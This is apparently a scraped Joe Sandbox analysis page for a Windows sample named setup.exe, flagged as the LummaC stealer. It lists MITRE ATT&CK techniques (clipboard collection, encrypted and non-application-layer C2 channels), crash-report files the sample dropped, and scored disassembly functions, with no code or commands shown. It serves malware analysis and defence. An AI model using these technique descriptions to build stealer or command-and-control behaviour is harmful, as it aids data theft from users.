Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_setup.exe_unknow_8464e4fd7a473682826b889ee6ebc9a041806666_fb4ad30c_1e34bb94-6c1a-4e68-a2c4-14aed3266004\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER66C9.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67A5.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67E5.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
setup.exe

Function 0147018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 00AE8EC0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 165
synchronizationthreadCOMMON

Function 00B094F2 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Function 00AE83C0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 124
memoryCOMMON

Function 00AFC69C Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00B020F8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Function 00B091AB Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre